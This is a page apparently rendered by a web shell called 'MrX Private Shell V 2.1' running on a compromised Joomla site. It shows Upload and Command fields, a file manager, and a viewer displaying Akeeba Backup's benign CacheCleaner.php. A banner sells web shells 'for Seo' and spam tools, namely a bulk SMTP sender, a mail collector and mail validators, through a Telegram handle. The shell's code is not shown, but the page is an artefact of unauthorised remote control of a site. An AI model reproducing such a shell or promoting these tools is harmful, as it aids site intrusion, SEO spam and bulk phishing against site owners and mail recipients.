__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Service;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\RunPluginsTrait;
use Exception;
use Joomla\CMS\Application\CMSApplicationInterface;
use Joomla\CMS\Cache\CacheControllerFactoryInterface;
use Throwable;

class CacheCleaner
{
	use RunPluginsTrait;

	protected $app;

	protected $cacheControllerFactory;

	public function __construct(CMSApplicationInterface $app, CacheControllerFactoryInterface $cacheControllerFactory)
	{
		$this->app                    = $app;
		$this->cacheControllerFactory = $cacheControllerFactory;
	}

	/**
	 * Clean a cache group
	 *
	 * @param   string  $group      The cache to clean, e.g. com_content
	 * @param   int     $client_id  The application ID for which the cache will be cleaned
	 * @param   object  $app        The current CMS application. DO NOT TYPEHINT MORE SPECIFICALLY!
	 *
	 * @return  array Cache controller options, including cleaning result
	 * @throws  Exception
	 */
	public function clearGroup(string $group): array
	{
		$options = [
			'defaultgroup' => $group,
			'cachebase'    => $this->app->get('cache_path', JPATH_CACHE),
			'result'       => true,
		];

		try
		{
			$this->cacheControllerFactory
				->createCacheController('callback', $options)
				->cache
				->clean();
		}
		catch (Throwable $e)
		{
			$options['result'] = false;
		}

		return $options;
	}

	/**
	 * Clears the specified cache groups.
	 *
	 * @param   array        $clearGroups   Which cache groups to clear. Usually this is com_yourcomponent to clear
	 *                                      your component's cache.
	 * @param   array        $cacheClients  Which cache clients to clear. 0 is the back-end, 1 is the front-end. If you
	 *                                      do not specify anything, both cache clients will be cleared.
	 * @param   string|null  $event         An event to run upon trying to clear the cache. Empty string to disable. If
	 *                                      NULL and the group is "com_content" I will trigger onContentCleanCache.
	 *
	 * @return  void
	 * @throws  Exception
	 */
	public function clearGroups(array $clearGroups, ?string $event = null): void
	{
		// Early return on nonsensical input
		if (empty($clearGroups))
		{
			return;
		}

		// Loop all groups to clean
		foreach ($clearGroups as $group)
		{
			// Groups must be non-empty strings
			if (empty($group) || !is_string($group))
			{
				continue;
			}

			$options = $this->clearGroup($group);

			// Do not call any events if I failed to clean the cache using the core Joomla API
			if (!($options['result'] ?? false))
			{
				return;
			}

			/**
			 * If you're cleaning com_content, and you have passed no event name I will use onContentCleanCache.
			 */
			if ($group === 'com_content')
			{
				$cacheCleaningEvent = $event ?: 'onContentCleanCache';
			}

			/**
			 * Call Joomla's cache cleaning plugin event (e.g. onContentCleanCache) as well.
			 *
			 * @see BaseDatabaseModel::cleanCache()
			 */
			if (empty($cacheCleaningEvent))
			{
				continue;
			}

			$this->triggerPluginEvent($cacheCleaningEvent, $options);
		}
	}
}

Filemanager

Name Type Size Permission Actions
CacheCleaner.php File 3.25 KB 0664
ComponentParameters.php File 5.22 KB 0664
Filemanager